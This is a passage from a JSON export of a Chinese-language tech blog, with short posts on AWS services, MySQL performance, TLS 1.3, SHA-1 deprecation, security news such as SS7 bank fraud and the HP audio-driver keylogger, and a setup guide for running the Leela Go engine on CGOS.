    "body": "在「<a href=\"https://aws.amazon.com/blogs/security/how-to-visualize-and-refine-your-networks-security-by-adding-security-group-ids-to-your-vpc-flow-logs/\">How to Visualize and Refine Your Network’s Security by Adding Security Group IDs to Your VPC Flow Logs</a>」這篇雖然是講特定功能，但還是把怎麼架設從頭到尾都講了一次...\r\n\r\n比較特別的幾張圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rLUAZ9P.webp\" /><img src=\"https://i.gslin.com/imgur/rLUAZ9P.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/czOvXzP.webp\" /><img src=\"https://i.gslin.com/imgur/czOvXzP.jpg\" alt=\"\" /></picture>\r\n\r\n然後再回來看怎麼串：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/piiiuVc.webp\" /><img src=\"https://i.gslin.com/imgur/piiiuVc.jpg\" alt=\"\" /></picture>",
    "title": "用 Amazon Elasticsearch 看 VPC Flow Logs"
  },
  {
    "id": "7293",
    "body": "然後錢就...：「<a href=\"https://www.theregister.co.uk/2017/05/03/hackers_fire_up_ss7_flaw/\">After years of warnings, mobile network hackers exploit SS7 flaws to drain bank accounts</a>」。\r\n\r\n<blockquote>O2-Telefonica in Germany has confirmed to Süddeutsche Zeitung that some of its customers have had their bank accounts drained using a two-stage attack that exploits SS7.</blockquote>",
    "title": "透過手機的 SS7 缺陷破解銀行的 MFA 機制"
  },
  {
    "id": "7294",
    "body": "最新一版的 <a href=\"https://tails.boum.org/\">Tails</a> 不再支援透過 <a href=\"http://www.bittorrent.org/\">BitTorrent</a> 下載，會被導去「<a href=\"https://labs.riseup.net/code/issues/12456\">Biterrant attack</a>」這邊的連結，裡面有一些關於在 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> 打穿後要怎麼判斷。\r\n\r\nBitTorrent 的討論 (包括 BitTorrent 發明人 <a href=\"http://bramcohen.com/\">Bram Cohen</a> 的參與) 則是在 <a href=\"https://github.com/\">GitHub</a> 上：「<a href=\"https://github.com/bittorrent/bittorrent.org/issues/58\">Transitioning to stronger hash function · Issue #58 · bittorrent/bittorrent.org</a>」，不過看起來連要用什麼 hash algorithm 的定案都還沒有啊... 而且二月底比較熱鬧一點，三月後都沒什麼動作了。\r\n\r\n看起來短時間也不會有動作了...",
    "title": "BitTorrent 對 SHA-1 的改善計畫？"
  },
  {
    "id": "7295",
    "body": "新版的 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 已經支援 Multi-processes 架構 (<a href=\"https://wiki.mozilla.org/Electrolysis\">Electrolysis</a>)，但 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 上會因為預設值的關係而被關閉，這篇文章就是講原因以及怎麼打開：「<a href=\"http://www.omgubuntu.co.uk/2017/05/ubuntu-firefox-multiprocess-enable\">Enabling This Makes Firefox More Responsive On Ubuntu</a>」。\r\n\r\n由於大家都會裝一堆套件，看起來得用 <a href=\"https://wiki.mozilla.org/Electrolysis#Force_Enable\">Force Enable</a> 這邊提到的方法打開，也就是手動在 <code>about:config</code> 內加入 <code>browser.tabs.remote.force-enable</code>，並設為 <code>true</code>。\r\n\r\nFirefox 的轉換還有很長一段時間要走...",
    "title": "加快 Ubuntu 上 Firefox 的速度..."
  },
  {
    "id": "7296",
    "body": "把 side-channel information 配合上統計方法就可以達到 74% 的正確率：「<a href=\"https://threatpost.com/phone-hack-uses-sensors-to-steal-pins/124945/\">Phone Hack Uses Sensors To Steal PINs</a>」。\r\n\r\n透過 browser 的 javascript 就可以拉出這些資料，然後利用這些資料去猜你的手機 PIN 碼：\r\n\r\n<blockquote>Researchers from U.K.-based Newcastle University created a JavaScript app called PINlogger.js that has the ability to access data generated by the phone’s sensors, including GPS, camera, microphone, accelerometer, magnetometer, proximity, gyroscope, pedometer and NFC protocols.</blockquote>\r\n\r\n而且當可以多抓到更多資訊時 (像是第二次輸入) 準確度就更高了：\r\n\r\n<blockquote>Using a sample set of 50 PINs, researchers found that their script was able to correctly guess a user’s PIN 74 percent of the time on the first try, which increases to 86 and 94 percent success rates on the second and third attempts.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/sXWdMZ3.jpg\" alt=\"\" />\r\n\r\n有些瀏覽器有做一些修正，讓 side-channel information 變少，於是難度變高：\r\n\r\n<blockquote>As for Firefox, starting from version 46 (released in April 2016), the browser restricts JavaScript access to motion and orientation sensors. Apple’s Security Updates for iOS 9.3 (released in March 2016), suspended the availability of motion and orientation data when the web view is hidden, according to researchers.</blockquote>\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 則是沒修：\r\n\r\n<blockquote>As for Google, it’s unclear what measures have been taken. “Our concern is confirmed by members in the Google Chromium team, who also believe that the issue remains unresolved,” the report stated. Google did not reply to a request to comment for this report.</blockquote>\r\n\r\n這攻擊方式頗不賴... @_@",
    "title": "利用手機的 sensor 取得 PIN 碼"
  },
  {
    "id": "7297",
    "body": "在「<a href=\"http://donw.io/post/github-comments/\">Replacing Disqus with Github Comments</a>」這邊看到作者抱怨 <a href=\"https://disqus.com/\">DISQUS</a> 的肥大，然後作者自己寫了一個用 <a href=\"https://github.com/\">GitHub</a> 當後端的 comment system XDDD\r\n\r\n先看沒有 DISQUS 的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ep2O815.webp\" /><img src=\"https://i.gslin.com/imgur/ep2O815.jpg\" alt=\"\" /></picture>\r\n\r\n然後把 DISQUS 掛進來 XDDD：(不得不說 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a> 與 <a href=\"https://disconnect.me/\">Disconnect</a> 是你的好朋友...)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0dlBmlW.webp\" /><img src=\"https://i.gslin.com/imgur/0dlBmlW.jpg\" alt=\"\" /></picture>",
    "title": "肥大的 DISQUS"
  },
  {
    "id": "7301",
    "body": "這種黑科技愈來愈成熟啦：「<a href=\"https://lyrebird.ai/\">Lyrebird - An API to copy the voice of anyone</a>」。\r\n\r\n<blockquote>Record 1 minute from someone's voice and Lyrebird can compress her/his voice's DNA into a unique key. Use this key to generate anything with its corresponding voice.</blockquote>\r\n\r\n<a href=\"https://lyrebird.ai/demo\">Demo</a> 的地方直接拿這三個人惡搞：(這樣做沒問題嗎 XDDD)\r\n\r\n<blockquote>Please note that those are artificial voices and they do not convey the opinions of Donald Trump, Barack Obama and Hillary Clinton.</blockquote>\r\n\r\n而且是有能力做到即時轉換：\r\n\r\n<blockquote>Our GPU clusters generate 1000 sentences in less than half a second.</blockquote>",
    "title": "分析聲音模擬其他人講話..."
  },
  {
    "id": "7302",
    "body": "看到有人提到，查了維基百科上面的 <a href=\"https://en.wikipedia.org/wiki/MP3\">MP3</a> 條目，看起來在 4/16 就全部都過期了：\r\n\r\n<blockquote>The basic MP3 decoding and encoding technology is patent-free in the European Union, all patents having expired there by 2012 at the latest. In the United States, the technology became substantially patent-free on 16 April 2017 (see below).</blockquote>\r\n\r\n<blockquote>If the longest-running patent mentioned in the aforementioned references is taken as a measure, then the MP3 technology became patent-free in the United States on 16 April 2017 when U.S. Patent 6,009,399, held by and administered by Technicolor, expired.</blockquote>\r\n\r\n<blockquote>The three exceptions are: U.S. Patent 5,878,080, expired February 2017; U.S. Patent 5,850,456, expired February 2017; and U.S. Patent 5,960,037, expired 9 April 2017.</blockquote>\r\n\r\n算是可喜可賀？",
    "title": "MP3 專利全數過期"
  },
  {
    "id": "7303",
    "body": "在「<a href=\"https://seld.be/notes/php-versions-stats-2017-1-edition\">PHP Versions Stats - 2017.1 Edition</a>」這邊分析了 <a href=\"https://packagist.org/\">Packagist</a> 上的 access log 而得到的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QjzmxlH.webp\" /><img src=\"https://i.gslin.com/imgur/QjzmxlH.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到 <a href=\"https://www.php.net/\">PHP</a> 7.0 與 7.1 總算是慢慢爬上來了... 另外一個頗有趣的數字是在 comment 提到的 <a href=\"http://hhvm.com/\">HHVM</a>：\r\n\r\n<blockquote>@ocramius: These numbers ignore Travis CI and other CI systems that set the \"CI\" env var in their workers. Without excluding those HHVM is around 0.95% so it's still low but those .36% is probably actual usage.</blockquote>\r\n\r\n還是有人在用...",
    "title": "PHP 的主力版本進入 7.0 與 7.1 了..."
  },
  {
    "id": "7305",
    "body": "<a href=\"https://www.openssl.org/\">OpenSSL</a> 的文章「<a href=\"https://www.openssl.org/blog/blog/2017/05/04/tlsv1.3/\">Using TLS1.3 With OpenSSL</a>」提到了：\r\n\r\n<blockquote>The forthcoming OpenSSL 1.1.1 release will include support for TLSv1.3.</blockquote>\r\n\r\n另外也提到了 TLS 1.3 的標準是 blocker，在 TLS 1.3 沒出來前不會出 OpenSSL 1.1.1：\r\n\r\n<blockquote>OpenSSL 1.1.1 will not be released until (at least) TLSv1.3 is finalised.</blockquote>\r\n\r\nOpenSSL 實做的 TLS 1.3 支援了這些 cipher：\r\n\r\n<ul>\r\n\t<li>TLS13-AES-256-GCM-SHA384</li>\r\n\t<li>TLS13-CHACHA20-POLY1305-SHA256</li>\r\n\t<li>TLS13-AES-128-GCM-SHA256</li>\r\n\t<li>TLS13-AES-128-CCM-8-SHA256</li>\r\n\t<li>TLS13-AES-128-CCM-SHA256</li>\r\n</ul>\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Galois/Counter_Mode\">GCM</a> 的部份不算意外，比較特別的是包括了 <a href=\"https://en.wikipedia.org/wiki/ChaCha20\">ChaCha20</a> 與 <a href=\"https://en.wikipedia.org/wiki/Poly1305\">Poly1305</a> (喊很久了)，另外包括了 <a href=\"https://en.wikipedia.org/wiki/CCM_mode\">CCM mode</a> 的實做...",
    "title": "OpenSSL 1.1.1 將支援 TLS 1.3"
  },
  {
    "id": "7306",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 又增加東京的點了，這是第四個點：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/05/amazon-cloudfront-adds-our-fourth-edge-location-in-tokyo-japan-and-our-third-in-dallas-fort-worth-texas/\">Amazon CloudFront adds new Edge Locations in Tokyo, Japan and Dallas/Fort Worth, Texas</a>」。\r\n\r\n<blockquote>This is our fourth edge location in the Tokyo area and our third in Dallas, bringing the total number of CloudFront locations to 87 (including 76 points of presence and 11 regional edge cache locations).</blockquote>\r\n\r\n不愧是亞洲的交換中心...",
    "title": "Amazon CloudFront 又增加東京機房了..."
  },
  {
    "id": "7308",
    "body": "<a href=\"https://www.microsoft.com/\">微軟</a>這幾天推出更新，<a href=\"https://en.wikipedia.org/wiki/Internet_Explorer\">IE</a> 與 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Edge\">Edge</a> 將不會接受 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> 憑證：「<a href=\"https://threatpost.com/microsoft-makes-it-official-cuts-off-sha-1-support-in-ie-edge/125579/\">Microsoft Makes it Official, Cuts off SHA-1 Support in IE, Edge</a>」。微軟的公告則是在「<a href=\"https://technet.microsoft.com/en-us/library/security/4010323.aspx\">Deprecation of SHA-1 for SSL/TLS Certificates in Microsoft Edge and Internet Explorer 11</a>」這邊。\r\n\r\n根憑證不受影響 (所以企業自己產生的 Root CA 也不受影響)：\r\n\r\n<blockquote>Beginning May 9, 2017, Microsoft released updates to Microsoft Edge and Internet Explorer 11 to block sites that are protected with a SHA-1 certificate from loading and to display an invalid certificate warning. This change will only impact SHA-1 certificates that chain to a root in the Microsoft Trusted Root Program where the end-entity certificate or the issuing intermediate uses SHA-1. Enterprise or self-signed SHA-1 certificates will not be impacted, although we recommend that all customers quickly migrate to SHA-2 based certificates.</blockquote>",
    "title": "IE 與 Edge 推出更新，阻擋 SHA-1 憑證"
  },
  {
    "id": "7309",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 放出 2017Q1 對硬碟的分析資料：「<a href=\"https://www.backblaze.com/blog/hard-drive-failure-rates-q1-2017/\">Hard Drive Stats for Q1 2017</a>」。\r\n\r\n相較於之前的報告 (<a href=\"https://www.backblaze.com/blog/hard-drive-benchmark-stats-2016/\">Backblaze Hard Drive Stats for 2016</a>)，這次則是把硬碟數量考慮進去，做了一份有正負誤差的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/j5lm9gr.webp\" /><img src=\"https://i.gslin.com/imgur/j5lm9gr.jpg\" alt=\"\" /></picture>\r\n\r\n最近的趨勢沒什麼變，整體上來看 <a href=\"https://www.hgst.com/\">HGST</a> 的品質還是最好的。",
    "title": "Backblaze 2017Q1 對硬碟的分析"
  },
  {
    "id": "7310",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 在 <a href=\"https://github.com/\">GitHub</a> 上放出 <a href=\"https://www.mongodb.com/\">MongoDB</a> 的 consistent backup 工具：「<a href=\"https://www.percona.com/blog/2017/05/10/percona-lab-mongodb_consistent_backup-1-0-release-explained/\">Percona-Lab/mongodb_consistent_backup: 1.0 Release Explained</a>」。\r\n\r\n程式碼在「<a href=\"https://github.com/Percona-Lab/mongodb_consistent_backup\">Percona-Lab/mongodb_consistent_backup</a>」這邊，首頁也講了對應的條件。\r\n\r\nPercona 在 MongoDB 上投入愈來愈多資源了... (但我還是沒很想用 XD)",
    "title": "MongoDB 的 consistent backup"
  },
  {
    "id": "7313",
    "body": "這邊講的不是對人下的，而是電腦之間的對弈。\r\n\r\n目前大多數的對弈軟體會到「<a href=\"http://www.yss-aya.com/cgos/\">CGOS - A Go Server Just for Computers</a>」這邊對弈，當然目前最紅的是一般 (人類) 正式比賽用的 19x19 棋盤，數子採用中國規則 (相當於貼 7.5 目)。\r\n\r\n不過與常見的正式比賽比較不一樣的是採用包干制，每方限時 15 分鐘，超時就直接裁定敗，不過有個小例外：\r\n\r\n<blockquote>CGOS silently adds a fraction of a second to each players clock for each move played.</blockquote>\r\n\r\n要把圍棋程式接到 CGOS 上面需要兩段程式，一段是 Go Engine 本身要支援 <a href=\"https://www.lysator.liu.se/~gunnar/gtp/\">Go Text Procotol</a> (GTP)，另外一段是把 GTP 接到 CGOS。\r\n\r\n前面 Go Engine 的部份，目前不少圍棋軟體都有支援 GTP，像是 <a href=\"https://sjeng.org/leela.html\">Leela</a> 或是 <a href=\"https://github.com/zakki/Ray\">Ray</a>。\r\n\r\n後者一般會用 <a href=\"http://cgos.sourceforge.net/client-python/\">Python CGOS Client</a>。\r\n\r\n其中比較特別的是 CGOS 的帳號密碼，帳號只允許 18 個字，另外沒有帳號申請系統，第一次用什麼帳號他就自動記錄起來，之後就要用這組。\r\n\r\n<pre># config.cfg\r\nCommon:\r\n  KillFile = kill.txt\r\n\r\n# First engine\r\nGTPEngine:\r\n  Name = Leela090-test\r\n  CommandLine = ./leela090-gtp.sh\r\n\r\n  ServerHost = yss-aya.com\r\n  ServerPort = 6819\r\n  ServerUser = Leela090-test\r\n  ServerPassword = mypassword\r\n\r\n  NumberOfGames = 1\r\n\r\n  SGFDirectory = sgf</pre>\r\n\r\n然後建立 <code>sgf</code> 目錄存棋譜後，用 <code>python bin/cgosclient.py config.cfg</code> 跑起來。當你 <code>touch kill.txt</code> 後，下一盤棋就會自己結束 (預設是一直下)。\r\n\r\n再來是裡面提到的 <code>leela090-gtp.sh</code>：\r\n\r\n<pre>#!/bin/bash\r\nexec /usr/bin/nice -n 20 $(dirname $0)/leela_090_linux_x64_opencl -g -t 8 -b 50 -q -l /tmp/leela090-gtp.log</pre>\r\n\r\n這邊跑的是 OpenCL 版本，你也可以跑 CPU 版。其中 <code>-g</code> 是 GTP mode，<code>-t</code> 是 CPU thread 數量，<code>-b</code> 是 network latency penalty (避免超時)，<code>-q</code> 是 quiet mode，<code>-l</code> 是 log。",
    "title": "Linux 上跑電腦圍棋程式 (CGOS)"
  },
  {
    "id": "7314",
    "body": "在「<a href=\"https://smalldatum.blogspot.com/2017/05/benchmarketing-with-innodb-redo-log-size.html\">Benchmark(et)ing with InnoDB redo log size</a>」這邊看到在討論 InnoDB redo log 的大小對效能的影響 (也就是 <code>innodb_log_file_size</code> 與 <code>innodb_log_files_in_group</code>)。\r\n\r\n開頭就有先提到重點，在新版 <a href=\"https://dev.mysql.com/\">MySQL</a> 裡，幾乎所有的情況比較大的 redo log 有比較好的效能 (平均值)：\r\n\r\ntl;dr - conclusions specific to my test \r\n<ol>\r\n\t<li>A larger redo log improves throughput</li>\r\n\t<li>A larger redo log helps more with slower storage than with faster storage because page writeback is more of a bottleneck with slower storage and a larger redo log reduces writeback.</li>\r\n\t<li>A larger redo log can help more when the working set is cached because there are no stalls from storage reads and storage writes are more likely to be a bottleneck.</li>\r\n\t<li>InnoDB in MySQL 5.7.17 is much faster than 5.6.35 in all cases except IO-bound + fast SSD</li>\r\n</ol>\r\n\r\n可以看出來平均效能的提昇很顯著，不管是增加 redo log 大小還是升級到 5.7：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5TnL4os.webp\" /><img src=\"https://i.gslin.com/imgur/5TnL4os.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AIvHxlh.webp\" /><img src=\"https://i.gslin.com/imgur/AIvHxlh.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AgHPrW1.webp\" /><img src=\"https://i.gslin.com/imgur/AgHPrW1.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CT9Zvwr.webp\" /><img src=\"https://i.gslin.com/imgur/CT9Zvwr.jpg\" alt=\"\" /></picture>\r\n\r\n但作者也遇到了奇怪的效能問題。雖然平均效能提昇得很顯著，但隨著加入資料的增加，效能的 degradation 其實很嚴重，在原來的網頁上可以看到這些資訊。\r\n\r\n<blockquote>The results above show average throughput and that hides a lot of interesting behavior. We expect throughput over time to not suffer from variance -- for both InnoDB and for MyRocks. For many of the results below there is a lot of variance (jitter).</blockquote>\r\n\r\n所以也許現階段先加大就好 (至少寫入的效能會提昇)，不需要把這個特性當作升級 MySQL 的理由。",
    "title": "InnoDB redo log 大小對效能的影響"
  },
  {
    "id": "7316",
    "body": "<a href=\"https://www.hp.com/\">HP</a> 被發現 2015 年簽出來的 audio driver 內含 keylogger (yeah，因為有數位簽名，所以賴不掉...)：「<a href=\"https://www.modzero.ch/modlog/archives/2017/05/11/en_keylogger_in_hewlett-packard_audio_driver/index.html\">[EN] Keylogger in Hewlett-Packard Audio Driver</a>」。完整的報告在「<a href=\"https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt\">modzero  Security  Advisory:  Unintended/Covert Storage Channel for sensitive data in Conexant HD Audio Driver Package. [MZ-17-01]</a>」這邊。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Hvin7Uv.webp\" /><img src=\"https://i.gslin.com/imgur/Hvin7Uv.jpg\" alt=\"\" /></picture>\r\n\r\nkeylogger 記錄後會寫到 local file 裡。來拉板凳...",
    "title": "HP 的 audio driver 內含 Keylogger"
  },
  {
    "id": "7317",
    "body": "這是是韓國廠商 Hancom 在加州被告上法院：「<a href=\"https://qz.com/981029/a-federal-court-has-ruled-that-an-open-source-license-is-an-enforceable-contract/\">A federal court has ruled that an open-source license is an enforceable contract</a>」。\r\n\r\n<blockquote>But after it began using Ghostscript in its software in 2013, Hancom did neither: it did not open-source its software, and it did not pay Artifex a licensing fee.\r\n\r\nAt the end of 2016, Artifex filed a lawsuit against Hancom in the US District Court for the Northern District of California.</blockquote>\r\n\r\nHancom 的理由是授權 (license) 不是合約 (contract)：\r\n\r\n<blockquote>That happened when Hancom issued a motion to dismiss the case on the grounds that the company didn’t sign anything, so the license wasn’t a real contract.</blockquote>\r\n\r\n而法官認定 GPL 是合約的一種：\r\n\r\n<blockquote>“Not so,” said Judge Jacqueline Scott Corley in her order on the motion on April 25. Corley said the GNU GPL “provides that the Ghostscript user agrees to its terms if the user does not obtain a commercial license. Plaintiff alleges that Defendant used Ghostscript, did not obtain a commercial license, and represented publicly that its use of Ghostscript was licensed under the [GNU GPL]. These allegations sufficiently plead the existence of a contract.”</blockquote>",
    "title": "美國聯邦法院認定 Open Source License 是有效的強制性合約"
  },
  {
    "id": "7318",
    "body": "剛剛 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 公佈的消息，要再推出記憶體大怪物機器 x1e.32xlarge：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-in-memory-processing-update-instances-with-4-to-16-tb-of-memory-scale-out-sap-hana-to-34-tb/\">EC2 In-Memory Processing Update: Instances with 4 to 16 TB of Memory + Scale-Out SAP HANA to 34 TB</a>」。\r\n\r\n<blockquote>Later this year we plan to make the x1e.32xlarge instances available in several AWS regions, in both On-Demand and Reserved Instance form. These instances will offer 4 TB of DDR4 memory (twice as much as the x1.32xlarge), 128 vCPUs (four 2.3 GHz Intel® Xeon® E7 8880 v3 processors), high memory bandwidth, and large L3 caches.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Sanvvq3.webp\" /><img src=\"https://i.gslin.com/imgur/Sanvvq3.jpg\" alt=\"\" /></picture>\r\n\r\n雖然都是拿 <a href=\"https://www.sap.com/\">SAP</a> 來舉例，但這也是當系統碰到瓶頸時搶時間的方法 (也就是當 happy problem 發生時的 workaround)。\r\n\r\n不知道這種機器實際買起來多少錢 XDDD",
    "title": "Amazon EC2 要推出 x1e.32xlarge，4TB RAM 的機器"
  },
  {
    "id": "7320",
    "body": "<a href=\"https://aws.amazon.com/codedeploy/\">AWS CodeDeploy</a> 推出了新的功能，當 CodeDeploy 偵測到發生衝突時可以設定處理的方式：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/05/aws-codedeploy-adds-file-handling-support/\">AWS CodeDeploy Adds File Handling Support</a>」。\r\n\r\n以往遇到衝突時就會失敗，而現在可以選擇處理方式了：\r\n\r\n<blockquote>Previously, CodeDeploy would fail the deployment when it detected a discrepancy between the files present at a target location and those in the last successful deployment. Now, you can choose how CodeDeploy responds (e.g., fail the deployment, retain the content, or overwrite the content) when encountering such files for each deployment.</blockquote>\r\n\r\n這樣方便不少啊，之前在測試階段時偷改東西常常被抓包... XD",
    "title": "CodeDeploy 對發生衝突的調整"
  },
  {
    "id": "7321",
    "body": "<a href=\"https://www.cmu.edu/\">CMU</a> 的 <a href=\"https://www.cs.cmu.edu/\">CS</a> (Computer Science) 發的新聞稿：「<a href=\"https://www.cs.cmu.edu/news/carnegie-mellon-offers-new-masters-degree-product-management\">Carnegie Mellon Offers New Master's Degree in Product Management</a>」。\r\n\r\n副標也清楚寫出是一年的課程：\r\n\r\n<blockquote>One-Year Program Turns Computer Professionals Into \"CEOs of the Product\"</blockquote>\r\n\r\n除了 CMU CS 外，也結合了 CMU 的 <a href=\"http://tepper.cmu.edu/\">Tepper Business School</a> 一起開：\r\n\r\n<blockquote>A joint program of the university's School of Computer Science (SCS) and Tepper School of Business, the Master of Science in Product Management (MSPM) program will start January 2018.</blockquote>\r\n\r\n另外一個不同角度的 Product Management。",
    "title": "CMU 推出 Product Management 的課程"
  },
  {
    "id": "7322",
    "body": "這篇積的有點久，但很不錯的一篇文章 (以條列出來的東西來看)：「<a href=\"https://abe-winter.github.io/blues/2017/04/27/config-vs-containers.html\">Instead of containerization, give me strong config &amp; deployment primitives</a>」。\r\n\r\n作者遇到了現在很多團隊「因為潮/因為好像可以解決問題，而想要用 <a href=\"https://www.docker.com/\">Docker</a>」，在沒有想清楚的情況跳下去用，發現沒解決本來的問題，反而製造了一堆問題。\r\n\r\n如果你已經在用 <a href=\"https://aws.amazon.com/\">AWS</a>，那麼 Docker 相較於 AWS 大致上只有一個優點，也就是開啟速度很快 (因為是 container 的特性)。Docker 的另外幾個優點在 AWS 上是不存在的，包括了 immutable 以及隔離性。\r\n\r\n在 AWS 上使用 Docker 反而有不少麻煩，像是要處理 AutoScaling + Service Discovery 時整合的問題，以及 storage 問題。這些都需要另外花力氣處理。\r\n\r\n另外一個常聽到的是「讓開發環境與線上環境一致」的議題常常是假議題，對於有照 <a href=\"https://12factor.net/\">The Twelve-Factor App</a> 避免寫出有 bad smell code 的程式，開發環境用 Docker，正式環境用標準的 EC2 其實不會有太大問題。\r\n\r\nPS：雖然我覺得 The Twelve-Factor App 裡面有些想法有點走火入魔，但對於大多數情況，裡面寫的其實不錯。",
    "title": "對於是否要用 Container (Docker) 的檢查表"
  },
  {
    "id": "7323",
    "body": "<a href=\"https://dgraph.io/\">Dgraph</a> 在推銷自家發展出來的 <a href=\"https://github.com/dgraph-io/badger\">Badger</a>：「<a href=\"https://open.dgraph.io/post/badger/\">Introducing Badger: A fast key-value store written natively in Go</a>」。\r\n\r\n標靶是 <a href=\"http://rocksdb.org/\">RocksDB</a>，號稱比 RocksDB 快好幾倍：\r\n\r\n<blockquote>Based on benchmarks, Badger is at least 3.5x faster than RocksDB when doing random reads. For value sizes between 128B to 16KB, data loading is 0.86x - 14x faster compared to RocksDB, with Badger gaining significant ground as value size increases. On the flip side, Badger is currently slower for range key-value iteration, but that has a lot of room for optimization.</blockquote>\r\n\r\n不過我覺得有些重要的功能在 Badger 不提供，這比起來有種橘子比蘋果的感覺... 像是 RocksDB 提供了 <a href=\"https://github.com/facebook/rocksdb/wiki/Transactions\">Transaction</a>，而 Badger 則是直接講明他們不打算支援 Transaction：\r\n\r\n<blockquote>Keep it simple, stupid. No support for transactions, versioning or snapshots -- anything that can be done outside of the store should be done outside.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lEfXU6g.webp\" /><img src=\"https://i.gslin.com/imgur/lEfXU6g.jpg\" alt=\"\" /></picture>",
    "title": "用 Go 寫的 Badger"
  },
  {
    "id": "7324",
    "body": "<a href=\"https://slack.com/\">Slack</a> 付費版將有 Screen Sharing 的功能了，對於 Remote Work 的團隊又更方便了：「<a href=\"https://slackhq.com/screen-sharing-comes-to-slack-video-calls-cd9afe732014\">Screen sharing comes to Slack video calls</a>」。\r\n\r\n<blockquote>When you’re working with teammates over a Slack video call, you may have something — a document, a chunk of code, the latest designs — that you want to share with your team. Now you can. Screen sharing is now available across teams on Slack’s paid plans.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/p11BQa0.webp\" /><img src=\"https://i.gslin.com/imgur/p11BQa0.jpg\" alt=\"\" /></picture>\r\n\r\n需要使用 Windows 與 Mac 版的 desktop 處理：\r\n\r\n<blockquote>Screen sharing is rolling out over the next few days to paid teams on the latest versions of our Slack for Mac and Slack for Windows desktop apps.</blockquote>",
    "title": "Slack 的 Screen Sharing"
  },
  {
    "id": "7326",
    "body": "在「<a href=\"http://mysqlserverteam.com/mysql-8-0-when-to-use-utf8mb3-over-utf8mb4/\">MySQL 8.0: When to use utf8mb3 over utf8mb4?</a>」這邊提到了 <a href=\"https://dev.mysql.com/\">MySQL</a> 對 <code>utf8</code> 以及 <code>utf8mb4</code> 的故事，以及在 <a href=\"https://dev.mysql.com/doc/relnotes/mysql/8.0/en/\">MySQL 8.0</a> 預期的效能提昇：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Fh0dZV0.webp\" /><img src=\"https://i.gslin.com/imgur/Fh0dZV0.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到 <a href=\"https://www.oracle.com/\">Oracle</a> 的團隊花了不少力氣提昇 <code>utf8mb4</code> 的效能。另外提到了在 5.7 的時候將 row format 的預設值轉成 <code>DYNAMIC</code>：\r\n\r\n<blockquote>MySQL 5.7 (2015) added some optimizations such as a variable length sort buffer, and also changed InnoDB’s default row format to DYNAMIC.  This allows for indexes on VARCHAR(255) with utf8mb4; something that made migrations more difficult prior.</blockquote>\r\n\r\n依照「<a href=\"https://dev.mysql.com/doc/refman/5.7/en/innodb-row-format-dynamic.html\">14.11.3 DYNAMIC and COMPRESSED Row Formats</a>」這邊的敘述，看起來 <code>COMPRESSED</code> 也應該支援一樣的特性，不過不確定... （因為通常不會完整 index 整個 <code>VARCHAR(255)</code>，只會 index 某個 prefix length)：\r\n\r\n<blockquote>The COMPRESSED row format uses similar internal details for off-page storage as the DYNAMIC row format, with additional storage and performance considerations from the table and index data being compressed and using smaller page sizes.</blockquote>",
    "title": "MySQL 8.0 對 4 bytes UTF-8 的效能改善"
  },
  {
    "id": "7327",
    "body": "在「<a href=\"https://coreos.com/blog/introducing-zetcd\">zetcd: running ZooKeeper apps without ZooKeeper</a>」這邊介紹了用 <a href=\"https://coreos.com/etcd/\">etcd</a> 當作 <a href=\"https://zookeeper.apache.org/\">ZooKeeper</a> 伺服器。程式碼在「<a href=\"https://github.com/coreos/zetcd\">Serve the Apache Zookeeper API but back it with an etcd cluster</a>」這邊可以看到。\r\n\r\n不過可以看到有不少 overhead：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4t2WIDk.webp\" /><img src=\"https://i.gslin.com/imgur/4t2WIDk.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/t80fLgk.webp\" /><img src=\"https://i.gslin.com/imgur/t80fLgk.jpg\" alt=\"\" /></picture>\r\n\r\n但 etcd 用 <a href=\"https://golang.org/\">Go</a> 寫 (省下 JVM tuning？)，可能是個不錯的誘因...",
    "title": "zetcd：用 etcd 跑 ZooKeeper 架構"
  },
  {
    "id": "7328",
